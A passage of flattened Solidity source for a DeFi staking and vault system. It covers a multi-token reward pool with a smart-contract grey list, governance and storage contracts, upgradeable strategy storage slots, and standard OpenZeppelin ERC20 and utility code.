returns(address) { return rewardTokens[0]; } function rewardPerToken() public view returns(uint256) { return rewardPerToken(rewardTokens[0]); } function periodFinish() public view returns(uint256) { return periodFinishForToken[rewardTokens[0]]; } function rewardRate() public view returns(uint256) { return rewardRateForToken[rewardTokens[0]]; } function lastUpdateTime() public view returns(uint256) { return lastUpdateTimeForToken[rewardTokens[0]]; } function rewardPerTokenStored() public view returns(uint256) { return rewardPerTokenStoredForToken[rewardTokens[0]]; } function userRewardPerTokenPaid(address user) public view returns(uint256) { return userRewardPerTokenPaidForToken[rewardTokens[0]][user]; } function rewards(address user) public view returns(uint256) { return rewardsForToken[rewardTokens[0]][user]; } // [Hardwork] setting the reward, lpToken, duration, and rewardDistribution for each pool constructor( address[] memory _rewardTokens, address _lpToken, uint256 _duration, address[] memory _rewardDistribution, address _storage, string memory _name, string memory _symbol, uint8 _decimals ) public ERC20Detailed(_name, _symbol, _decimals) IRewardDistributionRecipient(_rewardDistribution) Controllable(_storage) // only used for referencing the grey list { require(_decimals == ERC20Detailed(_lpToken).decimals(), "decimals has to be aligned with the lpToken"); require(_rewardTokens.length != 0, "should initialize with at least 1 rewardToken"); rewardTokens = _rewardTokens; lpToken = _lpToken; duration = _duration; } function lastTimeRewardApplicable(uint256 i) public view returns (uint256) { return lastTimeRewardApplicable(rewardTokens[i]); } function lastTimeRewardApplicable(address rt) public view returns (uint256) { return Math.min(block.timestamp, periodFinishForToken[rt]); } function lastTimeRewardApplicable() public view returns (uint256) { return lastTimeRewardApplicable(rewardTokens[0]); } function rewardPerToken(uint256 i) public view returns (uint256) { return rewardPerToken(rewardTokens[i]); } function rewardPerToken(address rt) public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStoredForToken[rt]; } return rewardPerTokenStoredForToken[rt].add( lastTimeRewardApplicable(rt) .sub(lastUpdateTimeForToken[rt]) .mul(rewardRateForToken[rt]) .mul(1e18) .div(totalSupply()) ); } function earned(uint256 i, address account) public view returns (uint256) { return earned(rewardTokens[i], account); } function earned(address account) public view returns (uint256) { return earned(rewardTokens[0], account); } function earned(address rt, address account) public view returns (uint256) { return stakedBalanceOf[account] .mul(rewardPerToken(rt).sub(userRewardPerTokenPaidForToken[rt][account])) .div(1e18) .add(rewardsForToken[rt][account]); } function stake(uint256 amount) public updateRewards(msg.sender) { require(amount > 0, "Cannot stake 0"); recordSmartContract(); super._mint(msg.sender, amount); // ERC20 is used as a staking receipt stakedBalanceOf[msg.sender] = stakedBalanceOf[msg.sender].add(amount); IERC20(lpToken).safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateRewards(msg.sender) { require(amount > 0, "Cannot withdraw 0"); super._burn(msg.sender, amount); stakedBalanceOf[msg.sender] = stakedBalanceOf[msg.sender].sub(amount); IERC20(lpToken).safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(Math.min(stakedBalanceOf[msg.sender], balanceOf(msg.sender))); getAllRewards(); } /// A push mechanism for accounts that have not claimed their rewards for a long time. /// The implementation is semantically analogous to getReward(), but uses a push pattern /// instead of pull pattern. function pushAllRewards(address recipient) public updateRewards(recipient) onlyGovernance { bool rewardPayout = (!smartContractStakers[recipient] || !IController(controller()).greyList(recipient)); for(uint256 i = 0 ; i < rewardTokens.length; i++ ){ uint256 reward = earned(rewardTokens[i], recipient); if (reward > 0) { rewardsForToken[rewardTokens[i]][recipient] = 0; // If it is a normal user and not smart contract, // then the requirement will pass // If it is a smart contract, then // make sure that it is not on our greyList. if (rewardPayout) { IERC20(rewardTokens[i]).safeTransfer(recipient, reward); emit RewardPaid(recipient, rewardTokens[i], reward); } else { emit RewardDenied(recipient, rewardTokens[i], reward); } } } } function getAllRewards() public updateRewards(msg.sender) { recordSmartContract(); bool rewardPayout = (!smartContractStakers[msg.sender] || !IController(controller()).greyList(msg.sender)); for(uint256 i = 0 ; i < rewardTokens.length; i++ ){ _getRewardAction(rewardTokens[i], rewardPayout); } } function getReward(address rt) public updateReward(msg.sender, rt) { recordSmartContract(); _getRewardAction( rt, // don't payout if it is a grey listed smart contract (!smartContractStakers[msg.sender] || !IController(controller()).greyList(msg.sender)) ); } function getReward() public { getReward(rewardTokens[0]); } function _getRewardAction(address rt, bool rewardPayout) internal { uint256 reward = earned(rt, msg.sender); if (reward > 0 && IERC20(rt).balanceOf(address(this)) >= reward ) { rewardsForToken[rt][msg.sender] = 0; // If it is a normal user and not smart contract, // then the requirement will pass // If it is a smart contract, then // make sure that it is not on our greyList. if (rewardPayout) { IERC20(rt).safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, rt, reward); } else { emit RewardDenied(msg.sender, rt, reward); } } } function addRewardToken(address rt) public onlyGovernance { require(getRewardTokenIndex(rt) == uint256(-1), "Reward token already exists"); rewardTokens.push(rt); } function removeRewardToken(address rt) public onlyGovernance { uint256 i = getRewardTokenIndex(rt); require(i != uint256(-1), "Reward token does not exists"); require(periodFinishForToken[rewardTokens[i]] < block.timestamp, "Can only remove when the reward period has passed"); require(rewardTokens.length > 1, "Cannot remove the last reward token"); uint256 lastIndex = rewardTokens.length - 1; // swap rewardTokens[i] = rewardTokens[lastIndex]; // delete last element rewardTokens.length--; } // If the return value is MAX_UINT256, it means that // the specified reward token is not in the list function getRewardTokenIndex(address rt) public view returns(uint256) { for(uint i = 0 ; i < rewardTokens.length ; i++){ if(rewardTokens[i] == rt) return i; } return uint256(-1); } function notifyTargetRewardAmount(address _rewardToken, uint256 reward) public onlyRewardDistribution updateRewards(address(0)) { // overflow fix according to https://sips.synthetix.io/sips/sip-77 require(reward < uint(-1) / 1e18, "the notified reward cannot invoke multiplication overflow"); uint256 i = getRewardTokenIndex(_rewardToken); require(i != uint256(-1), "rewardTokenIndex not found"); if (block.timestamp >= periodFinishForToken[_rewardToken]) { rewardRateForToken[_rewardToken] = reward.div(duration); } else { uint256 remaining = periodFinishForToken[_rewardToken].sub(block.timestamp); uint256 leftover = remaining.mul(rewardRateForToken[_rewardToken]); rewardRateForToken[_rewardToken] = reward.add(leftover).div(duration); } lastUpdateTimeForToken[_rewardToken] = block.timestamp; periodFinishForToken[_rewardToken] = block.timestamp.add(duration); emit RewardAdded(_rewardToken, reward); } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateRewards(address(0)) { notifyTargetRewardAmount(rewardTokens[0], reward); } function rewardTokensLength() public view returns(uint256){ return rewardTokens.length; } // Harvest Smart Contract recording function recordSmartContract() internal { if( tx.origin != msg.sender ) { smartContractStakers[msg.sender] = true; emit SmartContractRecorded(msg.sender, tx.origin); } } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } pragma solidity 0.5.16; import "@openzeppelin/upgrades/contracts/Initializable.sol"; contract BaseUpgradeableStrategyStorage { bytes32 internal constant _UNDERLYING_SLOT = 0xa1709211eeccf8f4ad5b6700d52a1a9525b5f5ae1e9e5f9e5a0c2fc23c86e530; bytes32 internal constant _VAULT_SLOT = 0xefd7c7d9ef1040fc87e7ad11fe15f86e1d11e1df03c6d7c87f7e1f4041f08d41; bytes32 internal constant _REWARD_TOKEN_SLOT = 0xdae0aafd977983cb1e78d8f638900ff361dc3c48c43118ca1dd77d1af3f47bbf; bytes32 internal constant _REWARD_POOL_SLOT = 0x3d9bb16e77837e25cada0cf894835418b38e8e18fbec6cfd192eb344bebfa6b8; bytes32 internal constant _SELL_FLOOR_SLOT = 0xc403216a7704d160f6a3b5c3b149a1226a6080f0a5dd27b27d9ba9c022fa0afc; bytes32 internal constant _SELL_SLOT = 0x656de32df98753b07482576beb0d00a6b949ebf84c066c765f54f26725221bb6; bytes32 internal constant _PAUSED_INVESTING_SLOT = 0xa07a20a2d463a602c2b891eb35f244624d9068572811f63d0e094072fb54591a; bytes32 internal constant _PROFIT_SHARING_NUMERATOR_SLOT = 0xe3ee74fb7893020b457d8071ed1ef76ace2bf4903abd7b24d3ce312e9c72c029; bytes32 internal constant _PROFIT_SHARING_DENOMINATOR_SLOT = 0x0286fd414602b432a8c80a0125e9a25de9bba96da9d5068c832ff73f09208a3b; bytes32 internal constant _NEXT_IMPLEMENTATION_SLOT = 0x29f7fcd4fe2517c1963807a1ec27b0e45e67c60a874d5eeac7a0b1ab1bb84447; bytes32 internal constant _NEXT_IMPLEMENTATION_TIMESTAMP_SLOT = 0x414c5263b05428f1be1bfa98e25407cc78dd031d0d3cd2a2e3d63b488804f22e; bytes32 internal constant _NEXT_IMPLEMENTATION_DELAY_SLOT = 0x82b330ca72bcd6db11a26f10ce47ebcfe574a9c646bccbc6f1cd4478eae16b31; constructor() public { assert(_UNDERLYING_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.underlying")) - 1)); assert(_VAULT_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.vault")) - 1)); assert(_REWARD_TOKEN_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.rewardToken")) - 1)); assert(_REWARD_POOL_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.rewardPool")) - 1)); assert(_SELL_FLOOR_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.sellFloor")) - 1)); assert(_SELL_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.sell")) - 1)); assert(_PAUSED_INVESTING_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.pausedInvesting")) - 1)); assert(_PROFIT_SHARING_NUMERATOR_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.profitSharingNumerator")) - 1)); assert(_PROFIT_SHARING_DENOMINATOR_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.profitSharingDenominator")) - 1)); assert(_NEXT_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.nextImplementation")) - 1)); assert(_NEXT_IMPLEMENTATION_TIMESTAMP_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.nextImplementationTimestamp")) - 1)); assert(_NEXT_IMPLEMENTATION_DELAY_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.nextImplementationDelay")) - 1)); } function _setUnderlying(address _address) internal { setAddress(_UNDERLYING_SLOT, _address); } function underlying() public view returns (address) { return getAddress(_UNDERLYING_SLOT); } function _setRewardPool(address _address) internal { setAddress(_REWARD_POOL_SLOT, _address); } function rewardPool() public view returns (address) { return getAddress(_REWARD_POOL_SLOT); } function _setRewardToken(address _address) internal { setAddress(_REWARD_TOKEN_SLOT, _address); } function rewardToken() public view returns (address) { return getAddress(_REWARD_TOKEN_SLOT); } function _setVault(address _address) internal { setAddress(_VAULT_SLOT, _address); } function vault() public view returns (address) { return getAddress(_VAULT_SLOT); } // a flag for disabling selling for simplified emergency exit function _setSell(bool _value) internal { setBoolean(_SELL_SLOT, _value); } function sell() public view returns (bool) { return getBoolean(_SELL_SLOT); } function _setPausedInvesting(bool _value) internal { setBoolean(_PAUSED_INVESTING_SLOT, _value); } function pausedInvesting() public view returns (bool) { return getBoolean(_PAUSED_INVESTING_SLOT); } function _setSellFloor(uint256 _value) internal { setUint256(_SELL_FLOOR_SLOT, _value); } function sellFloor() public view returns (uint256) { return getUint256(_SELL_FLOOR_SLOT); } function _setProfitSharingNumerator(uint256 _value) internal { setUint256(_PROFIT_SHARING_NUMERATOR_SLOT, _value); } function profitSharingNumerator() public view returns (uint256) { return getUint256(_PROFIT_SHARING_NUMERATOR_SLOT); } function _setProfitSharingDenominator(uint256 _value) internal { setUint256(_PROFIT_SHARING_DENOMINATOR_SLOT, _value); } function profitSharingDenominator() public view returns (uint256) { return getUint256(_PROFIT_SHARING_DENOMINATOR_SLOT); } // upgradeability function _setNextImplementation(address _address) internal { setAddress(_NEXT_IMPLEMENTATION_SLOT, _address); } function nextImplementation() public view returns (address) { return getAddress(_NEXT_IMPLEMENTATION_SLOT); } function _setNextImplementationTimestamp(uint256 _value) internal { setUint256(_NEXT_IMPLEMENTATION_TIMESTAMP_SLOT, _value); } function nextImplementationTimestamp() public view returns (uint256) { return getUint256(_NEXT_IMPLEMENTATION_TIMESTAMP_SLOT); } function _setNextImplementationDelay(uint256 _value) internal { setUint256(_NEXT_IMPLEMENTATION_DELAY_SLOT, _value); } function nextImplementationDelay() public view returns (uint256) { return getUint256(_NEXT_IMPLEMENTATION_DELAY_SLOT); } function setBoolean(bytes32 slot, bool _value) internal { setUint256(slot, _value ? 1 : 0); } function getBoolean(bytes32 slot) internal view returns (bool) { return (getUint256(slot) == 1); } function setAddress(bytes32 slot, address _address) internal { // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, _address) } } function setUint256(bytes32 slot, uint256 _value) internal { // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, _value) } } function getAddress(bytes32 slot) internal view returns (address str) { // solhint-disable-next-line no-inline-assembly assembly { str := sload(slot) } } function getUint256(bytes32 slot) internal view returns (uint256 str) { // solhint-disable-next-line no-inline-assembly assembly { str := sload(slot) } } } pragma solidity 0.5.16; import "./GovernableInit.sol"; // A clone of Governable supporting the Initializable interface and pattern contract ControllableInit is GovernableInit { constructor() public { } function initialize(address _storage) public initializer { GovernableInit.initialize(_storage); } modifier onlyController() { require(Storage(_storage()).isController(msg.sender), "Not a controller"); _; } modifier onlyControllerOrGovernance(){ require((Storage(_storage()).isController(msg.sender) || Storage(_storage()).isGovernance(msg.sender)), "The caller must be controller or governance"); _; } function controller() public view returns (address) { return Storage(_storage()).controller(); } } pragma solidity 0.5.16; interface IController { // [Grey list] // An EOA can safely interact with the system no matter what. // If you're using Metamask, you're using an EOA. // Only smart contracts may be affected by this grey list. // // This contract will not be able to ban any EOA from the system // even if an EOA is being added to the greyList, he/she will still be able // to interact with the whole system as if nothing happened. // Only smart contracts will be affected by being added to the greyList. // This grey list is only used in Vault.sol, see the code there for reference function greyList(address _target) external view returns(bool); function addVaultAndStrategy(address _vault, address _strategy) external; function doHardWork(address _vault) external; function hasVault(address _vault) external returns(bool); function salvage(address _token, uint256 amount) external; function salvageStrategy(address _strategy, address _token, uint256 amount) external; function notifyFee(address _underlying, uint256 fee) external; function profitSharingNumerator() external view returns (uint256); function profitSharingDenominator() external view returns (uint256); function feeRewardForwarder() external view returns(address); function setFeeRewardForwarder(address _value) external; } pragma solidity 0.5.16; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./Storage.sol"; // A clone of Governable supporting the Initializable interface and pattern contract GovernableInit is Initializable { bytes32 internal constant _STORAGE_SLOT = 0xa7ec62784904ff31cbcc32d09932a58e7f1e4476e1d041995b37c917990b16dc; modifier onlyGovernance() { require(Storage(_storage()).isGovernance(msg.sender), "Not governance"); _; } constructor() public { assert(_STORAGE_SLOT == bytes32(uint256(keccak256("eip1967.governableInit.storage")) - 1)); } function initialize(address _store) public initializer { _setStorage(_store); } function _setStorage(address newStorage) private { bytes32 slot = _STORAGE_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newStorage) } } function setStorage(address _store) public onlyGovernance { require(_store != address(0), "new storage shouldn't be empty"); _setStorage(_store); } function _storage() internal view returns (address str) { bytes32 slot = _STORAGE_SLOT; // solhint-disable-next-line no-inline-assembly assembly { str := sload(slot) } } function governance() public view returns (address) { return Storage(_storage()).governance(); } } pragma solidity 0.5.16; contract Storage { address public governance; address public controller; constructor() public { governance = msg.sender; } modifier onlyGovernance() { require(isGovernance(msg.sender), "Not governance"); _; } function setGovernance(address _governance) public onlyGovernance { require(_governance != address(0), "new governance shouldn't be empty"); governance = _governance; } function setController(address _controller) public onlyGovernance { require(_controller != address(0), "new controller shouldn't be empty"); controller = _controller; } function isGovernance(address account) public view returns (bool) { return account == governance; } function isController(address account) public view returns (bool) { return account == controller; } } pragma solidity 0.5.16; import "./Governable.sol"; contract Controllable is Governable { constructor(address _storage) Governable(_storage) public { } modifier onlyController() { require(store.isController(msg.sender), "Not a controller"); _; } modifier onlyControllerOrGovernance(){ require((store.isController(msg.sender) || store.isGovernance(msg.sender)), "The caller must be controller or governance"); _; } function controller() public view returns (address) { return store.controller(); } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.5.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will 